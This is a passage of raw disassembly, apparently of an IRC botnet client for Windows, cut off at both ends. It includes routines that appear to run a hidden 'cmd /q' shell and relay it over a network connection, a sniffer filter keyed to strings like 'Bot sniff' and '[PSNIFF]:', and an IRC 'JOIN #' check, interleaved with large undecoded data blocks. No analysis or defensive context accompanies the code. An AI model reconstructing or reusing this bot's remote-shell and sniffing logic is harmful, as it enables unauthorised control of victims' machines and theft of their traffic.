[ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 26603BDh nop test eax, eax jz short loc_41199A mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43C248[eax], ecx nop call near ptr 2660000h jmp short loc_4119B0 ; --------------------------------------------------------------------------- loc_41199A: ; CODE XREF: sub_4118DE+9Aj nop call near ptr 2680DCDh push eax push offset unk_434E3C call sub_415D62 mov esi, [ebp+var_4] pop ecx pop ecx loc_4119B0: ; CODE XREF: sub_4118DE+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_4118DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119B7 proc near ; DATA XREF: sub_411694+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270F4 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_4119E0: ; CODE XREF: sub_4119B7+8Fj call ebx test eax, eax jz short loc_411A48 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A1B loc_4119F1: ; CODE XREF: sub_4119B7+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A0B cmp dl, 0Dh jz short loc_411A0B mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A0B: ; CODE XREF: sub_4119B7+44j ; sub_4119B7+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_4119F1 loc_411A1B: ; CODE XREF: sub_4119B7+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4C9354 test eax, eax jle short loc_411A48 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_4119E0 ; --------------------------------------------------------------------------- loc_411A48: ; CODE XREF: sub_4119B7+2Dj ; sub_4119B7+79j mov esi, dword_42709C call esi cmp eax, 6Dh jz short loc_411A64 call esi push eax push offset dword_434E7C call sub_415D62 pop ecx pop ecx loc_411A64: ; CODE XREF: sub_4119B7+9Cj pop edi pop esi pop ebx leave retn sub_4119B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A69 proc near ; DATA XREF: sub_411694+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411A82: ; CODE XREF: sub_411A69+39j ; sub_411A69+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4C931C test eax, eax jle loc_411B87 cmp [ebp+var_10], ebx jbe short loc_411AA4 dec [ebp+var_10] jmp short loc_411A82 ; --------------------------------------------------------------------------- loc_411AA4: ; CODE XREF: sub_411A69+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411B67 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B14 cmp al, 7Fh jz short loc_411B14 cmp al, 3 jnz short loc_411ACF push ebx push ebx nop call near ptr 27A007Bh jmp short loc_411B3B ; --------------------------------------------------------------------------- loc_411ACF: ; CODE XREF: sub_411A69+5Aj cmp al, 15h jnz short loc_411AF1 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B27 ; --------------------------------------------------------------------------- loc_411AF1: ; CODE XREF: sub_411A69+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B28 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B27 ; --------------------------------------------------------------------------- loc_411B14: ; CODE XREF: sub_411A69+52j ; sub_411A69+56j cmp esi, ebx jbe short loc_411B3E dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B27: ; CODE XREF: sub_411A69+86j ; sub_411A69+A9j pop ecx loc_411B28: ; CODE XREF: sub_411A69+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4C9354 test eax, eax jle short loc_411B87 loc_411B3B: ; CODE XREF: sub_411A69+64j mov al, byte ptr [ebp+arg_0+3] loc_411B3E: ; CODE XREF: sub_411A69+ADj cmp al, 0Dh jnz loc_411A82 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2720000h nop test eax, eax jz short loc_411B87 xor esi, esi jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B67: ; CODE XREF: sub_411A69+47j cmp [ebp+var_C], ebx jnz short loc_411B78 mov [ebp+var_C], 1 jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B78: ; CODE XREF: sub_411A69+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411A82 ; --------------------------------------------------------------------------- loc_411B87: ; CODE XREF: sub_411A69+2Bj ; sub_411A69+D0j ... pop edi pop esi pop ebx leave retn sub_411A69 endp ; --------------------------------------------------------------------------- dword_411B8C dd 81EC8B55h, 2D4ECh, 8458B00h, 6A575653h, 5BF08B10h, 0FF2CBD8Dh ; DATA XREF: sub_401AC7+2BD4o dd 2C6AFFFFh, 59FC5D89h, 16AA5F3h, 895FF633h, 0A8B8h, 458D5300h dd 0E85056ECh, 0A14Ch, 660CC483h, 2EC45C7h, 0C075FF00h dd 930415FFh, 66A004Ch, 66026A57h, 89EE4589h, 15FFF075h dd 4C9384h, 458BF88Bh, 34C069C4h, 53000002h, 0C24CB889h dd 458D0043h, 0FF5750ECh, 4C933015h, 0FC08500h, 12185h dd 570A6A00h, 932C15FFh, 0C085004Ch, 110850Fh, 75FF0000h dd 2CB5FFC0h, 0E8FFFFFFh, 0FFFF8DCEh, 858D5059h, 0FFFFFD2Ch dd 42BC9868h, 0C7E85000h, 830000A3h, 753910C4h, 562075D0h dd 0FD2C858Dh, 75FFFFFFh, 858D50CCh, 0FFFFFF30h, 2CB5FF50h dd 0E8FFFFFFh, 0FFFF7BFEh, 8D14C483h, 0FFFD2C85h, 7BE850FFh dd 59000040h, 50FC458Dh, 50DC458Dh, 9815FF57h, 0FF004C93h dd 0D88BC475h, 0DE45B70Fh, 0D8758950h, 0FFE075FFh, 4C939015h dd 858D5000h, 0FFFFFD2Ch, 434F2868h, 5BE85000h, 530000A3h dd 0FD2C858Dh, 196AFFFFh, 96F3E850h, 4589FFFFh, 34C069C8h dd 8B000002h, 0C483C44Dh, 44888920h, 8D0043C2h, 8D500845h dd 0FFFF2C85h, 685056FFh, 411D91h, 0E8905656h, 226E8DDh dd 69C84D8Bh, 234C9h, 89C63B00h, 43C25481h, 39137400h dd 850FD875h, 0FFFFFF63h, 10E8056Ah, 900226E8h, 0BAE8EDEBh dd 900226F0h, 2C858D50h, 68FFFFFDh, 434EECh, 0A2E0E850h dd 0C4830000h, 0FF39E90Ch, 0FF57FFFFh, 4C939C15h, 0C075FF00h dd 0FD2C858Dh, 0B868FFFFh, 5000434Eh, 0A2BDE8h, 0CC48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7AF4E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 3F71E8h, 0C475FF00h, 0FF9944E8h, 565959FFh dd 2DE273E8h, 5E5F9002h, 0EC8B555Bh, 5D4EC81h, 458B0000h dd 57565308h, 0F08B2C6Ah, 38BD8D59h, 0F3FFFFFFh, 0D4758BA5h dd 7589016Ah, 34F66908h, 5F000002h, 0C24CB68Dh, 0B8890043h dd 0ACh, 68BDB33h, 5F845C7h, 89000000h, 0FFFA3085h, 0F8458DFFh dd 858D5350h, 0FFFFFA2Ch, 89535053h, 0BD89FC5Dh, 0FFFFFA2Ch dd 92EC15FFh, 0C085004Ch, 36FF1875h, 939C15FFh, 75FF004Ch dd 98BFE808h, 5359FFFFh, 0E1EEE890h, 8D53022Dh, 0FFFB3085h dd 40868FFh, 0FF500000h, 1C15FF36h, 85004C93h, 0FF187FC0h dd 9C15FF36h, 0FF004C93h, 8EE80875h, 59FFFF98h, 0E1BEE853h dd 8090022Dh, 0FFFB30BDh, 850F04FFh, 1EDh, 0FB31BD80h dd 0F01FFFFh, 1E085h, 0BC5D3800h, 458D7774h, 858D50BCh dd 0FFFFFB38h, 0A96EE850h, 85590000h, 617459C0h, 50BC458Dh dd 0FB38858Dh, 6850FFFFh, 434FF0h, 3ED5E8h, 4006800h, 858D0000h dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85DFFFFh dd 9E64h, 8D18C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h dd 4C935415h, 0FF36FF00h, 4C939C15h, 875FF00h, 0FF97F8E8h dd 0E85359FFh, 22DE128h, 8D106A90h, 5053E845h, 9E2BE8h dd 858B6600h, 0FFFFFB32h, 660CC483h, 8BEA4589h, 0FFFB3485h dd 57066AFFh, 0C766026Ah, 2E845h, 0FFEC4589h, 4C938415h dd 83F88B00h, 5D75FFFFh, 929815FFh, 6850004Ch, 434FB0h dd 3E3DE8h, 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h dd 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh, 9DCCh, 8D14C483h dd 0FFFB3085h, 86A53FFh, 0FF36FF50h, 4C935415h, 0FF36FF00h dd 4C939C15h, 875FF00h, 0FF9760E8h, 905359FFh, 2DE08FE8h dd 0E8458D02h, 5750106Ah, 92AC15FFh, 0F883004Ch, 0FF5D75FFh dd 4C929815h, 6C685000h, 0E800434Fh, 3DCEh, 40068h, 38858D00h dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 5DE85BFFh dd 8300009Dh, 858D14C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh dd 4C9354h, 15FF36FFh, 4C939Ch, 0E80875FFh, 0FFFF96F1h dd 0E8905359h, 22DE020h, 40068h, 38858D00h, 53FFFFFBh dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 11E85AFFh, 8300009Dh dd 858D0CC4h, 0FFFFFB30h, 50086A53h, 15FF36FFh, 4C9354h dd 0E85736FFh, 39h, 0FF575959h, 4C939C15h, 0FF36FF00h dd 4C939C15h, 875FF00h, 0FF9694E8h, 0E85359FFh, 22DDFC4h dd 0FF36FF90h, 4C939C15h, 875FF00h, 0FF967CE8h, 905359FFh dd 2DDFABE8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_41206B: ; CODE XREF: ___:0041211Aj ; ___:0041214Aj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_412083: ; CODE XREF: ___:00412091j mov edx, [ebp+8] cmp [eax], edx jz short loc_412093 inc ecx add eax, 4 cmp ecx, 1 jb short loc_412083 loc_412093: ; CODE XREF: ___:00412088j cmp ecx, 1 jnz short loc_4120A8 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120A8: ; CODE XREF: ___:00412096j push esi lea eax, [ebp-504h] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4C92EC lea eax, [ebp-104h] push eax push ebx call dword_4C91F0 test eax, eax jz short loc_412108 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_412150 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_412150 loc_412108: ; CODE XREF: ___:004120DAj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4C91F0 test eax, eax jz loc_41206B push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_412150 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4C9354 cmp eax, 0FFFFFFFFh jnz loc_41206B loc_412150: ; CODE XREF: ___:004120EFj ; ___:00412106j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412155 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+20A0o ; sub_40BD7C+106o dd 87CEC81h, 558B0000h, 57565308h, 0DB33016Ah, 0A9B958h dd 0F28B0000h, 0FC8CBD8Dh, 6A53FFFFh, 0FFA5F302h, 0FFFE9C85h dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h dd 4C9384h, 0FE83F08Bh, 685675FFh, 190h, 26E372E8h, 9D399002h dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7690E8FFh, 0C483FFFFh dd 88858D14h, 50FFFFF8h, 3B0DE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF94DDh, 90535959h, 2DDE0BE8h, 0F0458D02h, 0BF50046Ah dd 0FFFFh, 5657046Ah, 92E415FFh, 458D004Ch, 50046AECh dd 5657FB6Ah, 92E415FFh, 858B004Ch, 0FFFFFE98h, 0C069106Ah dd 234h, 4CB08953h, 8D0043C2h, 0E850D445h, 9AD8h, 660CC483h dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4C930415h, 45896600h dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4C933015h, 0FFF88300h dd 88681975h, 0E8000013h, 226E2ABh, 9C8DFF90h, 0FFFFFFFEh dd 2FE90875h, 8D000003h, 0FFFC9085h, 906868FFh, 0E8500042h dd 99F8h, 59C33B59h, 75FC4589h, 190684Ch, 78E80000h, 900226E2h dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF759Eh, 0F888858Dh, 0E850FFFFh dd 3A1Eh, 0FE98B5FFh, 0EEE8FFFFh, 83FFFF93h, 90531CC4h dd 2DDD1BE8h, 87D8B02h, 2A09F39h, 840F0000h, 27Dh, 80BFh dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 99EBE8h, 0CC48300h dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4C92ECh dd 8E0FC085h, 221h, 43B4B8A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh dd 0FFFA89BDh, 0F445C7FFh, 10h, 0AB66ABF3h, 0F4458DAAh dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h dd 4C92DC15h, 0C875FF00h, 0FFF84589h, 4C939015h, 458D5000h dd 6FE850B0h, 3800009Ch, 0FFFF309Dh, 0F5959FFh, 1AA85h dd 31BD8000h, 1FFFFFFh, 0A3850Fh, 858D0000h, 0FFFFFD94h dd 95A2E850h, 53530000h, 0E8FC75FFh, 0B5C4h, 8DFC75FFh dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh dd 9668h, 8D20C483h, 4589C44Dh, 4C083F8h, 51F475FFh, 858D5053h dd 0FFFFFA88h, 15FF5650h, 4C9368h, 0FF289D39h, 2375FFFFh dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7422h, 8D14C483h, 0FFF88885h dd 9FE850FFh, 59000038h, 110E9h, 31BD8000h, 4FFFFFFh, 0ED850Fh dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh dd 0C6FFFFFAh, 0FFFA8985h, 127503FFh, 0C932C0FEh, 0FA8A8588h dd 9D88FFFFh, 0FFFFFA8Bh, 0C1FE0EEBh, 0FA8A8588h, 8D88FFFFh dd 0FFFFFA8Bh, 0FC0B60Fh, 0E0C1C9B6h, 0BFC10308h, 200h dd 2B09E0C1h, 0FF5053C7h, 0CDE8FC75h, 0FF0000B4h, 858DFC75h dd 0FFFFFA8Ch, 50016A57h, 958FE8h, 1CC48300h, 458DF88Bh dd 0F87D89C4h, 50F475FFh, 5304478Dh, 88858D50h, 50FFFFFAh dd 6815FF56h, 3B004C93h, 8D6E75FBh, 8D50B045h, 0FFF88885h dd 503C68FFh, 0E8500043h, 9AFAh, 390CC483h, 0FFFF289Dh dd 532375FFh, 0F888858Dh, 0B5FFFFFFh, 0FFFFFF24h, 0A4858D50h dd 50FFFFFEh, 0FC8CB5FFh, 2BE8FFFFh, 83FFFF73h, 858D14C4h dd 0FFFFF888h, 37A8E850h, 5FF0000h, 4CBE0Ch, 0FF16EB59h dd 458DF475h, 6A5350C4h, 50306809h, 0FF560043h, 4C936815h dd 0F85D3900h, 0FD778F0Fh, 7D8BFFFFh, 15FF5608h, 4C939Ch dd 0E8FC75FFh, 945Bh, 0FE9C8DFFh, 9F39FFFFh, 2A0h, 0FF137559h dd 0FFFE98B5h, 912FE8FFh, 5359FFFFh, 2DDA5FE8h, 0E8689002h dd 90000003h, 26DF6EE8h, 0A2E85702h, 5FFFFFFBh, 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41262A push esi mov esi, offset dword_435070 loc_4125D2: ; CODE XREF: ___:00412625j push esi push dword ptr [ebp+0Ch] call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412619 push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_4363DC push 200h push eax call sub_41C100 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409862 add esp, 28h loc_412619: ; CODE XREF: ___:004125DFj add esi, 80h cmp esi, offset dword_435C70 jl short loc_4125D2 pop esi jmp short loc_412661 ; --------------------------------------------------------------------------- loc_41262A: ; CODE XREF: ___:004125CAj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C100 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409862 add esp, 24h loc_412661: ; CODE XREF: ___:00412628j xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_412665 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+736Bo dd 920EC81h, 458B0000h, 57565308h, 0F6E0A583h, 6A00FFFFh dd 8658326h, 0F08B5900h, 0FF20BD8Dh, 0A5F3FFFFh, 9480C7h dd 10000h, 0FFB90000h, 33000000h, 0E4BD8DC0h, 0F3FFFFF6h dd 8815FFABh, 8D004C92h, 3C6AB84Dh, 45895051h, 0A015FFF8h dd 0BB004C92h, 200h, 0E890086Ah, 226DE53h, 928815FFh, 453B004Ch dd 61840FF8h, 8D000001h, 3C6AB84Dh, 45895051h, 0A015FFF8h dd 83004C92h, 0F00A87Dh, 0CC84h, 20858D00h, 50FFFFFDh dd 9263E8h, 59C08500h, 458D7476h, 55E850B8h, 83000092h dd 735901F8h, 20858D65h, 50FFFFFDh, 0FB20858Dh, 6468FFFFh dd 50004364h, 98DDE8h, 8CEC8100h, 8D000000h, 0B58DB845h dd 0FFFFFF20h, 8B59266Ah, 858D50FCh, 0FFFFFB20h, 0E850A5F3h dd 0FFFFFE6Eh, 53084589h, 0FD20858Dh, 6AFFFFh, 95B2E850h dd 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh, 9DE85000h dd 83000095h, 858D0CC4h, 0FFFFFD20h, 91DEE850h, 0C0850000h dd 0AD860F59h, 8D000000h, 0E850B845h, 91CCh, 0F59C085h dd 9B86h, 20858D00h, 50FFFFFDh, 0FB20858Dh, 6468FFFFh dd 50004364h, 9851E8h, 8CEC8100h, 0EB000000h, 0B8458D34h dd 919AE850h, 0C0850000h, 14860F59h, 8D000001h, 8D50B845h dd 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43644468h, 1BE85000h dd 81000098h, 88ECh, 8D266A00h, 8D59B845h, 0FFFF20B5h dd 50FC8BFFh, 0FB20858Dh, 0A5F3FFFFh, 0FDACE850h, 4589FFFFh dd 858D5308h, 0FFFFFD20h, 0E850006Ah, 94F0h, 0ACC481h dd 858D0000h, 0FFFFFB20h, 50006A53h, 94DBE8h, 0CC48300h dd 0A87D83h, 0A1840Fh, 16A0000h, 92D015FFh, 3D66004Ch dd 850F8001h, 8Fh, 0FD20858Dh, 0E850FFFFh, 9100h, 7659C085h dd 8815FF7Eh, 8D004C92h, 0FFFAE08Dh, 513C6AFFh, 0A015FF50h dd 8D004C92h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 43646468h dd 73E85000h, 81000097h, 8CECh, 0E0858D00h, 8DFFFFFAh dd 0FFFF20B5h, 59266AFFh, 8D50FC8Bh, 0FFFB2085h, 50A5F3FFh dd 0FFFD01E8h, 84589FFh, 20858D53h, 6AFFFFFDh, 45E85000h dd 81000094h, 0ACC4h, 20858D00h, 53FFFFFBh, 0E850006Ah dd 9430h, 0C70CC483h, 5C74FC45h, 106A0043h, 91D815FFh dd 0BF0F004Ch, 0FC458BF0h, 57FC788Bh, 92D015FFh, 0C4F6004Ch dd 6A7B7480h, 0D815FF14h, 66004C91h, 1F74C085h, 7EFFFE83h dd 40FF831Ah, 0FF83157Eh, 0C7107D5Bh, 0F6E0BD84h, 1FFFFh dd 0BDE90000h, 6A000001h, 0D815FF14h, 66004C91h, 1E74C085h dd 2E7DF685h, 7E40FF83h, 5BFF8315h, 84C7107Dh, 0FFF6E0BDh dd 2FFh, 192E900h, 0F6850000h, 84C7107Dh, 0FFF6E0BDh, 3FFh dd 17EE900h, 84C70000h, 0FFF6E0BDh, 4FFh, 16EE900h, 0B48B0000h dd 0FFF6E0BDh, 0BD848DFFh, 0FFFFF6E0h, 840FF685h, 158h dd 8D002083h, 0FFFD2085h, 8FF83FFh, 0E8137550h, 8FB4h dd 1F05A480h, 0FFFFFDh, 136E959h, 0A1E80000h, 3D00008Fh dd 1B9h, 0FF397659h, 4C928815h, 0B84D8D00h, 50513C6Ah dd 92A015FFh, 7D83004Ch, 0E7400A8h, 0FD20858Dh, 6850FFFFh dd 43642Ch, 458D55EBh, 858D50B8h, 0FFFFFD20h, 64106850h dd 64EB0043h, 0F0DFF83h, 0B985h, 20858D00h, 50FFFFFDh dd 8F4BE8h, 59C08500h, 0D2840Fh, 15FF0000h, 4C9288h, 6AB84D8Dh dd 0FF50513Ch, 4C92A015h, 0A87D8300h, 8D1D7400h, 0FFFD2085h dd 0FC6850FFh, 8D004363h, 0FFFB2085h, 0B7E850FFh, 83000095h dd 1FEB0CC4h, 50B8458Dh, 0FD20858Dh, 6850FFFFh, 4363E4h dd 0FB20858Dh, 0E850FFFFh, 9596h, 8110C483h, 98ECh, 0B8458D00h dd 0FF20B58Dh, 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh dd 0FB24E850h, 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah dd 9268h, 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 9253E8h dd 0CC48300h, 0FE832EEBh, 83147401h, 0F7403FEh, 7402FE83h dd 4FE8305h, 75FF1A75h, 8B07EBFCh, 0C083FC45h, 858D5007h dd 0FFFFFD20h, 9B42E850h, 59590000h, 14FC4583h, 0A4FC7D81h dd 0F004363h, 0FFFDE98Ch, 87D83FFh, 0B5840F00h, 0FFFFFFFBh dd 0FFFF24B5h, 8BB3E8FFh, 6A59FFFFh, 0E1E89000h db 0D4h, 2Dh, 2 byte_412B1F db 55h ; DATA XREF: sub_401AC7+4151o dd 0B4B8EC8Bh, 0E8000102h, 9774h, 5608558Bh, 58016A57h dd 256AF28Bh, 0FF4CBD8Dh, 8959FFFFh, 0A5F3F845h, 908289h dd 0F6330000h, 458D106Ah, 0E85056E4h, 91B8h, 660CC483h dd 2E445C7h, 15FF5600h, 4C9304h, 0FF4CB5FFh, 8966FFFFh dd 83E8E645h, 59FFFF7Eh, 4415FF50h, 56004C93h, 26A036Ah dd 0FFE84589h, 4C938415h, 83F88B00h, 7D89FFFFh, 0FF5D75FCh dd 4C929815h, 858D5000h, 0FFFFFD4Ch, 436DC468h, 57E85000h dd 83000094h, 75390CC4h, 562075D8h, 0FD4C858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF6C8Eh dd 8D14C483h, 0FFFD4C85h, 0BE850FFh, 0FF000031h, 0DEE8D075h dd 59FFFF8Ah, 0E8905659h, 22DD40Ch, 6AD0458Bh, 34C06910h dd 89000002h, 43C24CB8h, 0E4458D00h, 15FF5750h, 4C9330h dd 75FFF883h, 9815FF64h, 50004C92h, 0FD4C858Dh, 9868FFFFh dd 5000436Dh, 93D9E8h, 0CC48300h, 75D87539h, 858D5620h dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h dd 6C10E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 308DE8h dd 0FF575900h, 4C939C15h, 0D075FF00h, 0FF8A58E8h, 905659FFh dd 2DD387E8h, 458D5602h, 565056E0h, 0F8458D56h, 6850046Ah dd 98000001h, 0B015FF57h, 83004C92h, 6475FFF8h, 929815FFh dd 8D50004Ch, 0FFFD4C85h, 6D6868FFh, 0E8500043h, 9356h dd 390CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh, 8D50D475h dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF6B8DE8h, 14C483FFh dd 0FD4C858Dh, 0E850FFFFh, 300Ah, 15FF5759h, 4C939Ch, 0E8D075FFh dd 0FFFF89D5h, 0E8905659h, 22DD304h, 6480BB53h, 0FFBF0043h dd 8D0000FFh, 0FEFD4C85h, 505657FFh, 8FFBE8h, 0CC48300h dd 0FD4C858Dh, 5756FFFEh, 0FC75FF50h, 931C15FFh, 0F883004Ch dd 0FC840FFFh, 80000000h, 0FEFD55BDh, 0C67506FFh, 0FD58858Bh dd 0BD80FFFEh, 0FFFEFD6Dh, 0F4458918h, 858DB475h, 0FFFEFD74h dd 436D5C68h, 21E85000h, 59000093h, 7559C085h, 74858D9Dh dd 68FFFEFDh, 436D4Ch, 930AE850h, 85590000h, 867559C0h dd 0FF33C38Bh, 840FC085h, 0FFFFFF7Ah, 50085D89h, 0FD74858Dh dd 0E850FFFEh, 92E8h, 59C08559h, 83470F75h, 8B180845h dd 0E3750845h, 0FFFF55E9h, 74858DFFh, 50FFFEFDh, 0FD60B5FFh dd 15FFFFFEh, 4C9234h, 50C0B70Fh, 0FFF475FFh, 4C939015h dd 48D5000h, 0C5048B7Fh, 436494h, 708534FFh, 8D004364h dd 0FFFD4C85h, 6D1868FFh, 680043h, 50000002h, 930BE8h dd 1CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6A48E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 2EC5E8h, 0D3E95900h, 0FFFFFFFEh dd 4C929815h, 0EC685000h, 8D00436Ch, 0FFFD4C85h, 20068FFh dd 0E8500000h, 92B4h, 3910C483h, 755BD875h, 858D5620h dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h dd 69F0E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 2E6DE8h dd 75FF5900h, 9C15FFFCh, 0FF004C93h, 36E8D075h, 59FFFF88h dd 65E89056h db 0D1h, 2Dh, 2 ; =============== S U B R O U T I N E ======================================= sub_412E9B proc near ; CODE XREF: sub_4131AA+213p ; sub_4131AA+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CC074, eax mov eax, offset dword_4CC074 retn sub_412E9B endp ; =============== S U B R O U T I N E ======================================= sub_412EAA proc near ; CODE XREF: sub_4131AA+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412EC4 loc_412EC0: ; CODE XREF: sub_412EAA+29j ; sub_412EAA+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412EC4: ; CODE XREF: sub_412EAA+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset aJoin_0 ; "JOIN #" push esi call 